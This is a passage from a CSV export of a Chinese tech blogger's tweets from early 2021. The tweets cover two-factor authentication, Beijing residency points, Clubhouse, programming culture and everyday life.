自认填充，让我感觉安全隐患变大了……,,https://twitter.com/haoel/status/1361234953804029953\n3351,1361231850308427777,2021-02-15 08:32:18+00:00,1,0,3,,\"@googollee @yihong06181 几个原因：\n1）安全这个事不是好用，而是谁家实力强，钱多……\n2）Google家的基本所有帐号都支持……\n3）如果可以迁移，安全就麻烦了……\",,https://twitter.com/haoel/status/1361231850308427777\n3352,1361230469707091969,2021-02-15 08:26:49+00:00,0,1,1,,@openlive_ @songma 2FA用短信还是用这些无所谓啊，不同的账号不一定一样啊（PS，我们常用Google Authenticator ）,,https://twitter.com/haoel/status/1361230469707091969\n3353,1361228888362295300,2021-02-15 08:20:32+00:00,1,0,5,,@yihong06181 为什么不用Google Authenticator ？,,https://twitter.com/haoel/status/1361228888362295300\n3354,1361228457565282304,2021-02-15 08:18:49+00:00,0,0,1,,@openlive_ @songma 什么意思？哪种密码管理器？,,https://twitter.com/haoel/status/1361228457565282304\n3355,1361228236613582849,2021-02-15 08:17:56+00:00,2,0,1,,@conbas2019 你咋不说手机上中了木马，或是被人截获短信？或是直接说人被绑架了？（安全不都是设置更高的门槛吗？丢手机被黑的概率大还是不设2FA被黑更容易？）,,https://twitter.com/haoel/status/1361228236613582849\n3356,1361224824878600194,2021-02-15 08:04:23+00:00,62,3,4,,我的很多关键帐号：GitHub，Apple，Google，AWS……都开了双因认证……国内的账号安全则不玩标准的2FA，而是走的是另一种方式：扫一个已登录的App即时的二维码，或是验证短信……,,https://twitter.com/haoel/status/1361224824878600194\n3357,1361222136619167747,2021-02-15 07:53:42+00:00,139,26,8,,从一开始，我司所有员工都要求必须开启Github 2FA（双因认证），就是怕下面的事情发生…… https://t.co/AcYFPDYout,,https://twitter.com/haoel/status/1361222136619167747\n3358,1360876959186575365,2021-02-14 09:02:05+00:00,1,0,0,,@tinyfool 今晚看不了了，全满，明天看了……,,https://twitter.com/haoel/status/1360876959186575365\n3359,1360876677174153219,2021-02-14 09:00:58+00:00,38,1,40,,现在的电影都这么贵了么…… https://t.co/91xh24vaMP,,https://twitter.com/haoel/status/1360876677174153219\n3360,1360861894790184960,2021-02-14 08:02:13+00:00,1,0,2,,@justfor24492868 浪费空间,,https://twitter.com/haoel/status/1360861894790184960\n3361,1360775448167256064,2021-02-14 02:18:43+00:00,33,2,2,,\"下面这两个个链接还在：\n\nhttps://t.co/ogheAQzV8M\n\nhttps://t.co/YzBku3639N\",\"[TextLink(text='m.k.sohu.com/d/515933722', url='https://m.k.sohu.com/d/515933722', tcourl='https://t.co/ogheAQzV8M', indices=(13, 36)), TextLink(text='card.weibo.com/article/m/show…', url='https://card.weibo.com/article/m/show/id/2309404603865478856773', tcourl='https://t.co/YzBku3639N', indices=(38, 61))]\",https://twitter.com/haoel/status/1360775448167256064\n3362,1360770786726797314,2021-02-14 02:00:12+00:00,124,15,20,,《如今春晚，诸神散去》原文基本全网删除，在微信里只能通腾讯新闻的小程序看到，想找这篇文章的URL，才开始意识到，微信的小程序让微信更为封闭了，因为小程序内的东西你根本转不出来…… https://t.co/wrvYGhclNF,,https://twitter.com/haoel/status/1360770786726797314\n3363,1360585724152565763,2021-02-13 13:44:49+00:00,0,0,1,,@SinleeLee 你先仔细看看，人家用的是刷子，不是画刀……,,https://twitter.com/haoel/status/1360585724152565763\n3364,1360552402873589765,2021-02-13 11:32:25+00:00,26,1,13,,直接一次打印成型不香么，为什么要模仿愚蠢的人类？,,https://twitter.com/haoel/status/1360552402873589765\n3365,1360399986836426752,2021-02-13 01:26:46+00:00,41,1,1,,BBC的《美丽中国》拍的多好……,,https://twitter.com/haoel/status/1360399986836426752\n3366,1360204656731844613,2021-02-12 12:30:36+00:00,1,0,0,,@tiger00853 北京户口对我没用……我的孩子未来不会参加体制内的高考……我早已脱离户口，加班，职场这些无趣的生活了……,,https://twitter.com/haoel/status/1360204656731844613\n3367,1360092259459362817,2021-02-12 05:03:58+00:00,212,5,14,,一份特别的拜年…… https://t.co/FJLZh0Eq7L,,https://twitter.com/haoel/status/1360092259459362817\n3368,1360052931907649536,2021-02-12 02:27:42+00:00,6,0,1,,@songma 我虽然沒看，但我肯定还有更恶心的，只是你不敢评论😂,,https://twitter.com/haoel/status/1360052931907649536\n3369,1359901986829684736,2021-02-11 16:27:54+00:00,294,21,7,,\"祝推友牛年大吉，万事如意！新的一年能够乘风破浪，突破自我，让自己有更多的可能性，更多的选择！\n \nopen(world); \ntry { \n    new adventure(interests); \n} catch(mistakes m) {\n    skill.get(m.lesson);\n}\",,https://twitter.com/haoel/status/1359901986829684736\n3370,1359898014580568065,2021-02-11 16:12:07+00:00,115,8,8,,往下想想，更底层的体力劳动者，他们有多少人没有五险一金，加班加到不给时间上厕所，工作环境恶劣，低三下四得到不他人的尊重……，你告诉他你要向行业抗争？还是告诉他要变得更优秀？虽然人人平等不假，但是改变自己比改变社会会更为容易一些。（注：存活不是问题，问题是是否想活得更体面一些）,,https://twitter.com/haoel/status/1359898014580568065\n3371,1359893209590030340,2021-02-11 15:53:01+00:00,241,32,14,,好些程序员告诉我他们的焦虑（996，压力大，迷茫…），我都会告诉他们要让自己更优秀，才有更多的选择，或让公司反过来请你，或去更好的地方，才能破局……当然也有人说我建议太“特例”，有“何不食肉糜”的感觉……其实，可以向下想想，对于更底层的人，你会给他们什么建议？是不是也是类似“特例”的呢？,,https://twitter.com/haoel/status/1359893209590030340\n3372,1359869366347591680,2021-02-11 14:18:16+00:00,3,0,1,,@CindyCreation 改天来,,https://twitter.com/haoel/status/1359869366347591680\n3373,1359867943593517064,2021-02-11 14:12:37+00:00,143,5,21,,路过客厅，正好看到“领导和大扫除”这个小品，多少年了，还在用上世纪八十年代的故事框架……,,https://twitter.com/haoel/status/1359867943593517064\n3374,1359768196836777988,2021-02-11 07:36:16+00:00,0,1,0,,@TheViper_coder 我是乱做,,https://twitter.com/haoel/status/1359768196836777988\n3375,1359767324580958212,2021-02-11 07:32:48+00:00,87,2,4,,做了三道题，做出来只花了20分钟，但是调优花了半个多小时，尤其是第二个“数学题”……到数学上脑子还是有点卡…… https://t.co/tpj2zv9LuR,,https://twitter.com/haoel/status/1359767324580958212\n3376,1359725428785565699,2021-02-11 04:46:19+00:00,49,3,1,,\"@kevinzhow 首先你要注册一个域名\n然后实名认证这个域名\n上网购买一台云服务器\n再对这个域名进行备案\n换上国内的源安装环境\n一些软件需要配置代理\n经过缓慢的外网下载后\n你的后端服务才能访问\",,https://twitter.com/haoel/status/1359725428785565699\n3377,1359707324068229121,2021-02-11 03:34:22+00:00,12,2,5,,都是高手啊…… https://t.co/xhgtnwXHhB,\"[TextLink(text='joinclubhouse.com/room/xq18YVlx', url='https://www.joinclubhouse.com/room/xq18YVlx', tcourl='https://t.co/xhgtnwXHhB', indices=(8, 31))]\",https://twitter.com/haoel/status/1359707324068229121\n3378,1359667519896756224,2021-02-11 00:56:12+00:00,157,17,9,,“出国”都能成为B站的敏感词…… https://t.co/cAB8o99dRr,,https://twitter.com/haoel/status/1359667519896756224\n3379,1359666672026591237,2021-02-11 00:52:50+00:00,44,0,4,,@lexrus 编程从来都是靠脑子，不靠键盘，所以要洗脑……🤪,,https://twitter.com/haoel/status/1359666672026591237\n3380,1359487122462236672,2021-02-10 12:59:22+00:00,0,0,3,,@HoiAle 为啥？,,https://twitter.com/haoel/status/1359487122462236672\n3381,1358982236800909313,2021-02-09 03:33:08+00:00,9,1,1,,@tinyfool @AyiyoA https://t.co/YKobChYzDe,,https://twitter.com/haoel/status/1358982236800909313\n3382,1358971049421860865,2021-02-09 02:48:41+00:00,38,3,2,,其实日常生活中，英文已经侵入我们的生活，无非多少的问题。比如：“昨天有人cue我，让我今年立个flag，如果我做不到大家别diss我，更希望大家可以为我打call，给我点repect……“，不管喜欢不喜欢，中英文夹杂已经是一种文化了……,,https://twitter.com/haoel/status/1358971049421860865\n3383,1358969951978098689,2021-02-09 02:44:19+00:00,0,0,1,,@shell909090 @lishali12345 bug和sorry一样，都是很常用的了，很多综艺节目，公众号都会说bug。日常生活中，英文已经侵入我们的生活，无非多少的。就像流行文化中的“别cue我，不然diss你，为打call，repect，站C位，立个flag……“，你觉得是怎么流行起来的？就是一些人再说了，别人就跟上了……,,https://twitter.com/haoel/status/1358969951978098689\n3384,1358953958467719169,2021-02-09 01:40:46+00:00,0,0,1,,@shell909090 @lishali12345 司机也没问问题啊——刚才打车软件有个bug，位置飘了，sorry啊……,,https://twitter.com/haoel/status/1358953958467719169\n3385,1358953443423997952,2021-02-09 01:38:43+00:00,84,4,14,,这几天我收到的微信朋友圈的的广告，我感觉我个人在微信后台的客户画像的标签应该是：“信用好”，“年轻”，“穷逼”，“智商低”，“韭菜”…… https://t.co/UIx6KBImJX,,https://twitter.com/haoel/status/1358953443423997952\n3386,1358703464205885440,2021-02-08 09:05:24+00:00,487,44,87,,中文夹带英文单词有问题吗？我们程序员天天不都这样说话吗？——“那个Java的bug你看了吗？什么时候可以fix啊？commit前记得先开个issue，这样也好track，然后提个PR做个Code Review，对了，merge前加个对应的test case，然后跑个regression，以免break其它的feature……”，这样的表达方式不是很顺畅吗？,,https://twitter.com/haoel/status/1358703464205885440\n3387,1358696671249457152,2021-02-08 08:38:24+00:00,2,0,1,,@NekoStranding 那也不如婚后人士体会得透彻……😜,,https://twitter.com/haoel/status/1358696671249457152\n3388,1358691508099059713,2021-02-08 08:17:53+00:00,123,6,12,,\"单身时，你会觉得节假日写代码是一种寂寞\n结婚后，你才能体会到节假日写代码的乐趣\",,https://twitter.com/haoel/status/1358691508099059713\n3389,1358689514256953344,2021-02-08 08:09:58+00:00,104,2,18,,\"单身狗们都说自己惨，说自己跟狗一样惨……\n我只能说，你们不太了解已婚人士的生活……😭😭\",,https://twitter.com/haoel/status/1358689514256953344\n3390,1358687761629253633,2021-02-08 08:03:00+00:00,2,0,2,,@sinoon1218 @waylybaye 婚后男人的生活你还不懂……😭,,https://twitter.com/haoel/status/1358687761629253633\n3391,1358673949136023553,2021-02-08 07:08:07+00:00,229,18,56,,ClubHouse里好多人发言只用一个连词 “……然后……然后……然后……然后……然后……然后……然后……” 😂😂,,https://twitter.com/haoel/status/1358673949136023553\n3392,1358580665139097602,2021-02-08 00:57:26+00:00,3,0,1,,@geniusvczh @kevinonchina 四等少数民族,,https://twitter.com/haoel/status/1358580665139097602\n3393,1358576969533689857,2021-02-08 00:42:45+00:00,1,0,0,,@dermayank https://t.co/3ky6UB7BYW,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1183295697472258048', tcourl='https://t.co/3ky6UB7BYW', indices=(11, 34))]\",https://twitter.com/haoel/status/1358576969533689857\n3394,1358570840028106753,2021-02-08 00:18:23+00:00,4,0,0,,@maxi_pepsi 决定正确✅,,https://twitter.com/haoel/status/1358570840028106753\n3395,1358570639594979331,2021-02-08 00:17:36+00:00,15,2,1,,@im2gua 生产力也要看场景，也要看做多大多复杂的项目，如果业务比较复杂，参与人数很多的话，OOP的Java则是最高的……,,https://twitter.com/haoel/status/1358570639594979331\n3396,1358467560845369345,2021-02-07 17:28:00+00:00,17,0,1,,@kevinzhow @jolestar @undoZen 要说起愤怒和责任感，想想乔布斯。实话实说，真正的产品经理就是不能忍的，能忍的人是无法改善这个社会的，没有责任感能忍的人通常都是随波逐流的人，不是么……,,https://twitter.com/haoel/status/1358467560845369345\n3397,1358455937271406609,2021-02-07 16:41:48+00:00,5,0,2,,@jolestar @undoZen @kevinzhow 你完全没理解kevin在说什么，我估计你也不懂真正的产品经理是什么样的。真正的产品经理就是要负责产品的principles 和 vision……所以，我说你们的要求是“多一个不多少一个不少”式的平庸的，而kevin才是真正的难得，作为一个前浪不去鼓励后浪想去挑战世俗也罢了，还要批评之，你不觉的很油腻么……,,https://twitter.com/haoel/status/1358455937271406609\n3398,1358449504928768000,2021-02-07 16:16:15+00:00,10,0,0,,@jolestar 不管有没有北京户口，我会让孩子走体制外的路，放弃中国高考……（因为孩子并不优秀，所以走体制内的教育成为废材的概率太大了）,,https://twitter.com/haoel/status/1358449504928768000\n3399,1358408425231667200,2021-02-07 13:33:01+00:00,0,0,0,,@ice_sujie 不客气,,https://twitter.com/haoel/status/1358408425231667200\n3400,1358381132555800578,2021-02-07 11:44:34+00:00,0,0,1,,@senob_ 那个不是社保……,,https://twitter.com/haoel/status/1358381132555800578\n3401,1358379398475354115,2021-02-07 11:37:40+00:00,1,0,1,,@senob_ 不知道你记得的是什么，明确一下，原因是父亲病危，无法工作……,,https://twitter.com/haoel/status/1358379398475354115\n3402,1358377964304363527,2021-02-07 11:31:58+00:00,3,0,3,,@jerry2mx 怎么算的？说的好像人家博士没有社保似的……🤣,,https://twitter.com/haoel/status/1358377964304363527\n3403,1358375059023224834,2021-02-07 11:20:26+00:00,151,8,22,,还有一个很重要的加分项——学历，博士：37，硕士：26，本科：15。我是本科生，而买房一年才1分，租房只有0.5分/年。虽然，我这20年给北京做的贡献纳的税估计比很多博士和硕士都多很多，但是一个学历比你多干10年……总之，人家要的是学历和年龄，不是贡献……,,https://twitter.com/haoel/status/1358375059023224834\n3404,1358372242816593923,2021-02-07 11:09:14+00:00,94,8,16,,好些人来跟我说北京积分落户的事，真是键盘侠，我跟你们讲讲我的真实情况。1）落户有人数限制，2019年是6000人，报名有106403人，最低分93.58。2）前提条件： 在京连续缴纳社保7年以上，我6年前因为家庭原因后断过社保。3）年龄不超过45岁可以+20分，我明年社保满7年了，不过我也超过45岁了……,,https://twitter.com/haoel/status/1358372242816593923\n3405,1358292537929158659,2021-02-07 05:52:31+00:00,2,0,1,,@kevinzhow 一定要有一群有意思的人。,,https://twitter.com/haoel/status/1358292537929158659\n3406,1358253376811659264,2021-02-07 03:16:54+00:00,326,26,36,,恭喜啊……我来北京20年了，都还没有北京户口……,,https://twitter.com/haoel/status/1358253376811659264\n3407,1358223824504848386,2021-02-07 01:19:28+00:00,1,0,0,,@Bill15030355 还有下次,,https://twitter.com/haoel/status/1358223824504848386\n3408,1358004042052431872,2021-02-06 10:46:08+00:00,111,11,11,,今天跟孩子介绍各种短视频中那些雄壮激昂的BGM都来自美国一个叫Two Steps From Hell音乐制作公司，这个公司的音乐用于很多很好莱坞大片，短视频中用的最多的是《Star Sky 》https://t.co/p5gegx1v1q 。当我放给孩子听的时候，孩子来了句：“我们用美国的音乐表现中国的强大”……,\"[TextLink(text='y.music.163.com/m/song?id=4917…', url='https://y.music.163.com/m/song?id=491757212', tcourl='https://t.co/p5gegx1v1q', indices=(96, 119))]\",https://twitter.com/haoel/status/1358004042052431872\n3409,1357969628694126596,2021-02-06 08:29:23+00:00,2,0,0,,@olindays @kevinzhow 这个我在后面会与他们沟通，这就是一个小插曲吧，这是会变好的，你放心……,,https://twitter.com/haoel/status/1357969628694126596\n3410,1357961109806804993,2021-02-06 07:55:32+00:00,0,0,1,,@olindays @kevinzhow 所以我说，你这样的想法的人多一个不多，少一个也不少……,,https://twitter.com/haoel/status/1357961109806804993\n3411,1357960921109286914,2021-02-06 07:54:47+00:00,15,0,0,,@ice_sujie @kevinzhow 罗永浩其实并不认真执着,,https://twitter.com/haoel/status/1357960921109286914\n3412,1357950513212395521,2021-02-06 07:13:26+00:00,131,10,11,,刚才在聊天室里听@kevinzhow 聊到产品经理的责任感，有很多朋友对他不理解，认为他的想法太过于理想，太过于激烈。似乎可以包容一切成了一种成熟，其实在我眼里看只不过是别一种世俗的平庸。因为这种所谓“成熟世故”的人，在这个世界上少一个不少，多一个不多。但Kevin就不一样了，少一个就是一个了……,,https://twitter.com/haoel/status/1357950513212395521\n3413,1357930131944218624,2021-02-06 05:52:27+00:00,36,1,4,,你要像我一样，除了离开，还要多多鼓励对方……,,https://twitter.com/haoel/status/1357930131944218624\n3414,1357852974375071744,2021-02-06 00:45:51+00:00,4,0,0,,@bradfitz Happy 0x29🎂,,https://twitter.com/haoel/status/1357852974375071744\n3415,1357715386154639360,2021-02-05 15:39:07+00:00,2,0,0,,@CharlesC_ai 要抢话,,https://twitter.com/haoel/status/1357715386154639360\n3416,1357648718980214787,2021-02-05 11:14:13+00:00,62,4,12,,\"明天（2月6日）北京时间21点，与  @kevinzhow @sofish等人\n\n主题：聊聊我们的生活\n\n时长：2小时\n\n内容：\n- 分享你城市好吃好玩的地方\n- 分享你的有趣的见闻和喜欢的活动\n- 分享你日常生活方式\n- 分享电影/剧集/音乐/书/Youtuber…\n\n规则：\n- 以分享为主，问问题前需先分享\nhttps://t.co/OgJuv9ug74\",\"[TextLink(text='joinclubhouse.com/event/xl76Q8XE', url='https://www.joinclubhouse.com/event/xl76Q8XE', tcourl='https://t.co/OgJuv9ug74', indices=(157, 180))]\",https://twitter.com/haoel/status/1357648718980214787\n3417,1357627418689736705,2021-02-05 09:49:34+00:00,187,19,13,,昨天在Netflix 上看了这个电影《白虎》（又名：给中国总理的一封信😂），相当有深度的一个电影，推荐给大家https://t.co/ZFNgzz1wKW https://t.co/FCPvnKTacS,\"[TextLink(text='movie.douban.com/subject/349833…', url='https://movie.douban.com/subject/34983332/', tcourl='https://t.co/ZFNgzz1wKW', indices=(54, 77))]\",https://twitter.com/haoel/status/1357627418689736705\n3418,1357571766575525892,2021-02-05 06:08:26+00:00,0,0,0,,@jagger160 你说的这些信息流是单向的……,,https://twitter.com/haoel/status/1357571766575525892\n3419,1357549625033461760,2021-02-05 04:40:27+00:00,5,0,1,,@j5726 我觉得你在这里留言，就说明你多多少少有表达欲的。只是语音这一方式有点“激烈”了，对我也是一样，更多的时候，我也是只喜欢用文字来表达，要用语音的话，我需要写个提纲做个ppt……,,https://twitter.com/haoel/status/1357549625033461760\n3420,1357540275430715393,2021-02-05 04:03:18+00:00,82,4,8,,对此，永远不要去问或是听那些评论家怎么评价一个产品或功能，而是要问真实的用户，也就是大众的想法，这才是最真实的。另外，最近这几年，我越来越感到大众和精英越来越分裂，而且开始越来越不可调合，大有一种大众平民要干死精英文化的态势，我觉得挺好的……,,https://twitter.com/haoel/status/1357540275430715393\n3421,1357540274164039680,2021-02-05 04:03:17+00:00,89,4,17,,\"很多人不看好clubhouse，说很无聊，我持乐观态度，秉着“过去发生过的未来也会发生”的原则，在过去有太多类似“无聊”的东西做成了，比如：美帝在移动互联网早期发明的各种让人觉得很SB的APP，如：Path,Instsagrm,Foursquare,Twitter,Pinterest…还有国内的快手/直播/拼多多等，在初期都让人觉得很傻……\",,https://twitter.com/haoel/status/1357540274164039680\n3422,1357351703763247107,2021-02-04 15:33:59+00:00,43,2,11,,顺着我的Clubhouse 的Nominator 找上线，经过10层后找到了“顶层老大”…… https://t.co/WwpfQteuAz,,https://twitter.com/haoel/status/1357351703763247107\n3423,1356993322116472835,2021-02-03 15:49:54+00:00,125,6,37,,感觉回到了大学时代宿舍熄灯后的夜聊时光…… https://t.co/3Kcq8KUo5l,,https://twitter.com/haoel/status/1356993322116472835\n3424,1356825675802398721,2021-02-03 04:43:44+00:00,1,0,0,,@o_mesut_ @kevinzhow @liuyi0922 哈哈哈,,https://twitter.com/haoel/status/1356825675802398721\n3425,1356772372116738052,2021-02-03 01:11:55+00:00,32,0,3,,s/算法/算是/g,,https://twitter.com/haoel/status/1356772372116738052\n3426,1356771831080882178,2021-02-03 01:09:46+00:00,119,10,20,,昨晚强行挤入 @kevinzhow  @liuyi0922 等几个中国的独立开发者的clubhouse，然后强行登台问了他们几个有压力的问题：1）你们怎么养活自己的，怎么挣到养活自己的钱？2）你们挣钱的点子是什么？3）你们怎么做推广的？要花钱买流量吗？4）遇到法律问题怎么办？……算法对独立开发者有了一定的了解……,,https://twitter.com/haoel/status/1356771831080882178\n3427,1356481613668904960,2021-02-02 05:56:33+00:00,16,0,9,,我的通讯录中，“亚马逊客服”在邀请人列表中排名第二…… https://t.co/3yT1wFGWVY,,https://twitter.com/haoel/status/1356481613668904960\n3428,1356423697679060992,2021-02-02 02:06:25+00:00,205,29,2,,下图是这一年分享下来总结的 best practice。分享给大家 https://t.co/y6PLjsmvq8,,https://twitter.com/haoel/status/1356423697679060992\n3429,1356419147278639104,2021-02-02 01:48:20+00:00,6,0,3,,@Roby_Cuby 未来想公开,,https://twitter.com/haoel/status/1356419147278639104\n3430,1356417966170992641,2021-02-02 01:43:38+00:00,2,0,0,,@brightchen 1hr - 1.5hr,,https://twitter.com/haoel/status/1356417966170992641\n3431,1356416500584734720,2021-02-02 01:37:49+00:00,357,25,13,,下图是过去一年我们团队每周一的分享（主要技术），一年多下来的确不容易，中间有好几次团队都快枯竭了，但都咬牙坚持下来了。我在想，是不是可以把这个事更为开放，除了技术分享，也可以就一些大家公司中遇到的复杂问题聊聊，我也可以收集一些需求，把我司的产品做得更好…… https://t.co/5VwW8fO2G7,,https://twitter.com/haoel/status/1356416500584734720\n3432,1356295580855595008,2021-02-01 17:37:19+00:00,10,1,1,,@tinyfool https://t.co/fqvy8pVoPL,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1042419866056060928', tcourl='https://t.co/fqvy8pVoPL', indices=(10, 33))]\",https://twitter.com/haoel/status/1356295580855595008\n3433,1356101056753672192,2021-02-01 04:44:21+00:00,0,0,1,,@kevinzhow 手机真多,,https://twitter.com/haoel/status/1356101056753672192\n3434,1356100744126971905,2021-02-01 04:43:07+00:00,28,1,1,,可以用Apache的确开源许可证……,,https://twitter.com/haoel/status/1356100744126971905\n3435,1355791832580452355,2021-01-31 08:15:36+00:00,340,45,8,,昨天朋友找我，说他过去几年想在农业上做点事，但是遇到的基本上都是骗子，那怕那些非常有名的人身边也充满着各种骗子……我说，事业上有两类人要小心，一个是讲大事但从来没有执行细节的人，另一个是不讲原则做事没规则的人，这两种人完全不要沾……从概率上讲，还是要找受过良好教育踏实做事的人……,,https://twitter.com/haoel/status/1355791832580452355\n3436,1355779813168955392,2021-01-31 07:27:51+00:00,288,47,3,,\"看到罗老师的这句话，让我想起了电影《七宗罪》里的最后一句台词：Ernest Hemingway once wrote, \"\"The world is a fine place and worth fighting for.\"\" I believe the second part. 海明威有一次写下：“世界很美好值得去奋斗”，我相信后半段 …… （这句话鼓励了我二十多年） https://t.co/QucBTbsgZU\",,https://twitter.com/haoel/status/1355779813168955392\n3437,1355462122163957761,2021-01-30 10:25:27+00:00,103,15,7,,\"学编程后 👽 专注，久坐不运动\n学编程后 👽 沉浸，再不修边幅\n学编程后 👽 严谨，喜欢上较真\n学编程后 👽 专研，不善沟通交流\",,https://twitter.com/haoel/status/1355462122163957761\n3438,1355458098261975045,2021-01-30 10:09:28+00:00,148,20,9,,\"反过来的代码是啥样？只要你坚持DRY和代码重用的原则，就会明白高质量代码的意义（当然，可能你现在写的代码完全不需要抽象）\n\n- C是用void*和函数来完成\n- C++是用模板+泛型+重载+OO\n- Java是用注解+接口+OO+反射+IoC/DIP+字节码注入\n- Go是在用接口+函数式+反射\n- Python用函数式+OO+动态生成\n……\",,https://twitter.com/haoel/status/1355458098261975045\n3439,1355450324417306626,2021-01-30 09:38:35+00:00,129,15,16,,所谓“面条型”的代码就是在一个代码文件中又处理业务逻辑，又处理页面交互，又处理数据库的一顺到底的编码方式。其最大的好处就是快，这就是为什么PHP做起东西来飞快的原因。而Golang这门简单的语言也非常适合写“面条型”的代码，还有很容易驾驭的阻塞式并发模型，所以，更容易受PHP程序员的青睐了……,,https://twitter.com/haoel/status/1355450324417306626\n3440,1355182515074437121,2021-01-29 15:54:24+00:00,0,0,0,,@realhuhexian 睡前瞎看时……,,https://twitter.com/haoel/status/1355182515074437121\n3441,1355181004500070401,2021-01-29 15:48:24+00:00,29,1,7,,感觉 Python 在4.0时可以变成静态语言了，然后4.5时再加入泛型……,,https://twitter.com/haoel/status/1355181004500070401\n3442,1355100975510421508,2021-01-29 10:30:23+00:00,30,0,11,,还好这个“有想法的手”只是在打字的时候有想法，而不是在跟美女接触的时候有想法……,,https://twitter.com/haoel/status/1355100975510421508\n3443,1355100528288567296,2021-01-29 10:28:37+00:00,90,3,38,,打五笔打了有二十多年了，一开始还能打的很准，到了变成肌肉记忆后，发现在打五笔开始有错字了，但还是字根比较相似的错字（也就是所谓的手滑）。但是近几年来我发现我打的错字越来越离谱（完全不挨着），这个现象很难解释，我隐约感觉我的手指头开始有自己的想法了，越来越不受大脑控制了……,,https://twitter.com/haoel/status/1355100528288567296\n3444,1354632943197556737,2021-01-28 03:30:36+00:00,57,6,10,,韭菜基地被抄了。telegram最终会成为这个世界的网络难民集中营…… https://t.co/78wRwhZePn,,https://twitter.com/haoel/status/1354632943197556737\n3445,1354607172114554882,2021-01-28 01:48:11+00:00,150,27,14,,韭菜们合力反击做空机构，GameStop现在已经站在347刀了，机构要破产了……真是活久见……https://t.co/uaOEd4ra8S,\"[TextLink(text='mp.weixin.qq.com/s/W0XVDsmQbTvp…', url='https://mp.weixin.qq.com/s/W0XVDsmQbTvp1KJKo_nM_w', tcourl='https://t.co/uaOEd4ra8S', indices=(47, 70))]\",https://twitter.com/haoel/status/1354607172114554882\n3446,1354403858538057730,2021-01-27 12:20:18+00:00,27,1,2,,@xicilion 偷偷换一个二维码，不知道可以钓多少鱼……,,https://twitter.com/haoel/status/1354403858538057730\n3447,1354403470829178884,2021-01-27 12:18:45+00:00,24,5,3,,听是听的出差别，说是说不出来……（估计这生人是学不会了）,,https://twitter.com/haoel/status/1354403470829178884\n3448,1354074888638590976,2021-01-26 14:33:05+00:00,15,3,0,,🤣😂,,https://twitter.com/haoel/status/1354074888638590976\n3449,1352854061087772673,2021-01-23 05:41:57+00:00,20,5,1,,再查了查，发那个时代有很多在飞机玩特技的女人，在看到《The Women Who Walked on Wings》https://t.co/SMaNgmA1jW ，那个时代的女孩子真是好硬核啊…… (2/2),\"[TextLink(text='messynessychic.com/2019/02/26/the…', url='https://www.messynessychic.com/2019/02/26/the-women-who-walked-on-wings/', tcourl='https://t.co/SMaNgmA1jW', indices=(57, 80))]\",https://twitter.com/haoel/status/1352854061087772673\n3450,1352854059078676480,2021-01-23 05:41:57+00:00,35,5,3,,\"在微博看到个1926年给正在飞行的飞机换轮胎的视频，顺着查了下，\n这是部电影，British Pathé电影公司的（原始出处：https://t.co/sUrgsElk1Q ），飞机在洛杉矶上空，安飞机轮胎的是个女特技演员，叫Gladys Ingle，整个过程没有安全保护，全靠自己的技能完成表演。（1/2)\",\"[TextLink(text='youtu.be/i86U0_7ZocU', url='https://youtu.be/i86U0_7ZocU', tcourl='https://t.co/sUrgsElk1Q', indices=(63, 86))]\",https://twitter.com/haoel/status/1352854059078676480\n3451,1352810968028385282,2021-01-23 02:50:43+00:00,4,0,2,,@jolestar 他们自己内部的,,https://twitter.com/haoel/status/1352810968028385282\n3452,1352656579594657793,2021-01-22 16:37:14+00:00,319,23,35,,云南昆明那个劫持学生的学校，是我高中母校，所以感觉像是发在自己身边。死伤的全是13岁左右的孩子，真是可怜，为人父的我难以接受。就算是有天大的怨恨，用伤害孩子的方式来报复社会，就是畜生不如！！,,https://twitter.com/haoel/status/1352656579594657793\n3453,1352645538110263299,2021-01-22 15:53:21+00:00,8,0,0,,@rh1ncer0 好像是我分享的一个梗，但我忘了😭,,https://twitter.com/haoel/status/1352645538110263299\n3454,1352643128080048128,2021-01-22 15:43:47+00:00,566,17,56,,今天下午去字节跳动公司内部做分享，把他们公司的线上直播系统搞挂了30分钟，人数3000人左右……😂😂,,https://twitter.com/haoel/status/1352643128080048128\n3455,1352237918274813954,2021-01-21 12:53:37+00:00,22,1,0,,@waylybaye https://t.co/Vev22Vhp3z,\"[TextLink(text='zh.m.wikipedia.org/zh-hans/Ad_hoc', url='https://zh.m.wikipedia.org/zh-hans/Ad_hoc', tcourl='https://t.co/Vev22Vhp3z', indices=(11, 34))]\",https://twitter.com/haoel/status/1352237918274813954\n3456,1351929531209158656,2021-01-20 16:28:12+00:00,15,1,0,,建议还是小心用，这种在client端hard code的方式，当pining key升级或变更时会要你老命的……而且，如果配置不当，会全站无法访问的……,,https://twitter.com/haoel/status/1351929531209158656\n3457,1351902642608381959,2021-01-20 14:41:21+00:00,219,38,31,,\"饭桌上都是女生们在讨论技术问题，真的好想加入这样的饭局……😍🥰\n\n（via 流金岁月 第一集 19:30） https://t.co/V7JBamwCGJ\",,https://twitter.com/haoel/status/1351902642608381959\n3458,1351835093254356995,2021-01-20 10:12:56+00:00,103,10,10,,首先你要会画画，然后你还要懂css……,,https://twitter.com/haoel/status/1351835093254356995\n3459,1351555763630612480,2021-01-19 15:42:59+00:00,404,67,10,,快8年了，作者终于到家了，8年PR终于被成功merge了 ……https://t.co/KMa6gdzbkz https://t.co/YAxNvtqL8N,\"[TextLink(text='github.com/gkoberger/stac…', url='https://github.com/gkoberger/stacksort/pull/4', tcourl='https://t.co/KMa6gdzbkz', indices=(31, 54))]\",https://twitter.com/haoel/status/1351555763630612480\n3460,1351499013443387392,2021-01-19 11:57:29+00:00,665,158,13,,\"这几年我一直在训练自己用三种方式进行思考\n\n- 法律和编程的方式：代表了严谨，准确，无二义性，不仅需要考虑众多的案例，还需要正过来反过去地思考。\n\n- 历史和统计的方式：通过历史上已经发生的事，并通过概率计算，来推测和判断事物的性质。\n\n- 经济和价值的方式：代表了实际意义和有多大用途。 https://t.co/RiVPrN2Hcr\",,https://twitter.com/haoel/status/1351499013443387392\n3461,1351194574799196160,2021-01-18 15:47:45+00:00,509,125,13,,以法律的思维方式来思考问题，会是一种成熟的表现…… https://t.co/we0KVAZZjz,,https://twitter.com/haoel/status/1351194574799196160\n3462,1351098779823452163,2021-01-18 09:27:05+00:00,0,0,0,,@repoog @1ancet 图钱没问题，损人搞破坏则是另外的事情了，完全不一样,,https://twitter.com/haoel/status/1351098779823452163\n3463,1351024052446633996,2021-01-18 04:30:09+00:00,62,0,4,,@1ancet 